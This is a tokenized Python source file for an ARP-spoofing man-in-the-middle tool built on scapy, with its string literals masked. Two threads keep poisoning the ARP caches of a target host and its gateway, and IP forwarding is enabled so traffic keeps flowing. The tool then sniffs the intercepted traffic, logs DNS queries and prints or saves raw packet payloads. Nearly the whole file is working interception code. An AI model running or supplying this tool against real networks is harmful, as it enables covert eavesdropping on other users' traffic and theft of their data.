<s> import scapy . all as scapy <EOL> from random import randint <EOL> import threading , os , sys , optparse , time <EOL> options = optparse . OptionParser ( usage = '<STR_LIT>' , description = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , '<STR_LIT>' , type = '<STR_LIT:string>' , dest = '<STR_LIT:target>' , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , '<STR_LIT>' , type = '<STR_LIT:string>' , dest = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , '<STR_LIT>' , type = '<STR_LIT:string>' , dest = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , action = '<STR_LIT:store_true>' , dest = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , action = '<STR_LIT:store_true>' , dest = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , '<STR_LIT>' , type = '<STR_LIT:string>' , dest = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , '<STR_LIT>' , type = '<STR_LIT:string>' , dest = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , action = "<STR_LIT:store_true>" , dest = "<STR_LIT>" , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , action = "<STR_LIT:store_true>" , dest = "<STR_LIT>" , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , action = "<STR_LIT:store_true>" , dest = "<STR_LIT>" , help = '<STR_LIT>' ) <EOL> options . add_option ( '<STR_LIT>' , action = '<STR_LIT:store_true>' , dest = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> opts , args = options . parse_args ( ) <EOL> version = '<STR_LIT>' <EOL> target = opts . target <EOL> gateway = opts . gateway <EOL> interface = opts . interface <EOL> dns_sniff = opts . dns_sniff <EOL> dns_sniff_gource = opts . dns_sniff_gource <EOL> sniff_pkts = opts . sniff_pkts <EOL> vthread = [ ] <EOL> gwthread = [ ] <EOL> layers = [ ] <EOL> scapy_filter = { "<STR_LIT>" : None , "<STR_LIT>" : None , "<STR_LIT>" : None } <EOL> random_filename = "<STR_LIT>" + str ( randint ( <NUM_LIT> , <NUM_LIT> ) ) <EOL> class bcolours : <EOL> OKBLUE = '<STR_LIT>' <EOL> OKGREEN = '<STR_LIT>' <EOL> WARNING = '<STR_LIT>' <EOL> FAIL = '<STR_LIT>' <EOL> ENDC = '<STR_LIT>' <EOL> class user : <EOL> CURRENT_USER_NAME = os . getlogin ( ) <EOL> CURRENT_USER_ID = os . getuid ( ) <EOL> def banner ( ) : <EOL> banner = bcolours . OKBLUE + """<STR_LIT>""" + version + """<STR_LIT>""" + bcolours . ENDC <EOL> return banner <EOL> def unprivileged_user_print ( username ) : <EOL> print "<STR_LIT:\n>" + bcolours . FAIL + "<STR_LIT>" + bcolours . WARNING + user . CURRENT_USER_NAME + bcolours . FAIL + "<STR_LIT>" + bcolours . WARNING + "<STR_LIT>" + bcolours . FAIL <EOL> print "<STR_LIT>" + bcolours . ENDC <EOL> def setup_ipv_forwarding ( ) : <EOL> if not dns_sniff_gource : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + bcolours . ENDC ) <EOL> os . system ( '<STR_LIT>' ) <EOL> os . system ( '<STR_LIT>' ) <EOL> def filter_parser ( ) : <EOL> if opts . tcp and opts . udp : <EOL> scapy_filter [ "<STR_LIT>" ] = '<STR_LIT>' <EOL> if not ( opts . tcp or opts . udp ) : <EOL> scapy_filter [ "<STR_LIT>" ] = '<STR_LIT>' <EOL> elif opts . tcp or opts . udp : <EOL> scapy_filter [ "<STR_LIT>" ] = '<STR_LIT>' if opts . tcp else '<STR_LIT>' <EOL> if opts . d_port : scapy_filter [ "<STR_LIT>" ] = opts . d_port <EOL> if opts . s_port : scapy_filter [ "<STR_LIT>" ] = opts . s_port <EOL> final_filter = scapy_filter [ "<STR_LIT>" ] + '<STR_LIT>' + target + '<STR_LIT>' + target + '<STR_LIT:)>' <EOL> if scapy_filter [ "<STR_LIT>" ] : <EOL> final_filter += '<STR_LIT>' + scapy_filter [ "<STR_LIT>" ] + '<STR_LIT:)>' <EOL> elif dns_sniff or dns_sniff_gource : <EOL> final_filter += '<STR_LIT>' <EOL> else : <EOL> final_filter += '<STR_LIT:)>' <EOL> if scapy_filter [ "<STR_LIT>" ] : <EOL> final_filter += '<STR_LIT>' + scapy_filter [ "<STR_LIT>" ] + '<STR_LIT:)>' <EOL> return final_filter <EOL> def dnshandle ( pkt ) : <EOL> if dns_sniff_gource : <EOL> sys . stdout = open ( random_filename + '<STR_LIT>' , '<STR_LIT:a>' ) <EOL> FQDN = pkt . getlayer ( scapy . DNS ) . qd . qname <EOL> domain = FQDN . split ( '<STR_LIT:.>' ) <EOL> print str ( time . time ( ) ) [ : - <NUM_LIT:3> ] + "<STR_LIT:|>" + target + "<STR_LIT>" + str ( domain [ <NUM_LIT:1> ] ) + '<STR_LIT:/>' + str ( FQDN ) <EOL> else : <EOL> if pkt . haslayer ( scapy . DNS ) and pkt . getlayer ( scapy . DNS ) . qr == <NUM_LIT:0> : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + pkt . getlayer ( scapy . IP ) . src + '<STR_LIT>' + pkt . getlayer ( scapy . IP ) . dst + '<STR_LIT>' + bcolours . WARNING + pkt . getlayer ( scapy . DNS ) . qd . qname + bcolours . ENDC ) <EOL> def rawhandle ( pkt ) : <EOL> if sniff_pkts : <EOL> scapy . wrpcap ( random_filename + "<STR_LIT>" , pkt ) <EOL> counter = <NUM_LIT:0> <EOL> while counter < <NUM_LIT:1> : <EOL> counter += <NUM_LIT:1> <EOL> layer = pkt . getlayer ( counter ) <EOL> if layer . haslayer ( scapy . Raw ) and layer . haslayer ( scapy . IP ) : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + layer . name + '<STR_LIT>' + layer . src + "<STR_LIT>" + layer . dst + bcolours . ENDC ) <EOL> tcpdata = layer . getlayer ( scapy . Raw ) . load <EOL> if not opts . verbose : <EOL> print tcpdata <EOL> else : <EOL> print layer . show ( ) <EOL> else : <EOL> break <EOL> def poison ( ) : <EOL> v = scapy . ARP ( pdst = target , psrc = gateway ) <EOL> while True : <EOL> try : <EOL> scapy . send ( v , verbose = <NUM_LIT:0> , inter = <NUM_LIT:1> , loop = <NUM_LIT:1> ) <EOL> except KeyboardInterupt : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + bcolours . ENDC ) <EOL> sys . exit ( <NUM_LIT:3> ) <EOL> def gw_poison ( ) : <EOL> gw = scapy . ARP ( pdst = gateway , psrc = target ) <EOL> while True : <EOL> try : <EOL> scapy . send ( gw , verbose = <NUM_LIT:0> , inter = <NUM_LIT:1> , loop = <NUM_LIT:1> ) <EOL> except KeyboardInterupt : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + bcolours . ENDC ) <EOL> sys . exit ( <NUM_LIT:3> ) <EOL> def start_poisen ( target , interface , scapy_filter ) : <EOL> vpoison = threading . Thread ( target = poison ) <EOL> vpoison . setDaemon ( True ) <EOL> vthread . append ( vpoison ) <EOL> vpoison . start ( ) <EOL> gwpoison = threading . Thread ( target = gw_poison ) <EOL> gwpoison . setDaemon ( True ) <EOL> gwthread . append ( gwpoison ) <EOL> gwpoison . start ( ) <EOL> if dns_sniff or dns_sniff_gource : <EOL> pkt = scapy . sniff ( iface = interface , filter = scapy_filter , prn = dnshandle ) <EOL> else : <EOL> pkt = scapy . sniff ( iface = interface , filter = scapy_filter , prn = rawhandle ) <EOL> def main ( ) : <EOL> try : <EOL> if user . CURRENT_USER_ID < > <NUM_LIT:0> : <EOL> unprivileged_user_print ( user . CURRENT_USER_NAME ) <EOL> if dns_sniff_gource : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + bcolours . WARNING + '<STR_LIT>' + random_filename + '<STR_LIT>' + bcolours . ENDC ) <EOL> if ( not dns_sniff_gource ) or ( dns_sniff or sniff_pkts ) : <EOL> print banner ( ) <EOL> if target == None or gateway == None and interface == None : <EOL> options . print_help ( ) <EOL> return <EOL> if dns_sniff : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + bcolours . ENDC ) <EOL> elif sniff_pkts : <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + bcolours . ENDC ) <EOL> if dns_sniff_gource or dns_sniff or sniff_pkts : <EOL> setup_ipv_forwarding ( ) <EOL> print ( bcolours . OKBLUE + '<STR_LIT>' + filter_parser ( ) + bcolours . ENDC ) <EOL> while True : <EOL> start_poisen ( target , interface , filter_parser ( ) ) <EOL> else : <EOL> options . print_help ( ) <EOL> except KeyboardInterrupt : <EOL> print ( bcolours . WARNING + '<STR_LIT>' + bcolours . ENDC ) <EOL> sys . exit ( <NUM_LIT:3> ) <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> main ( ) </s>
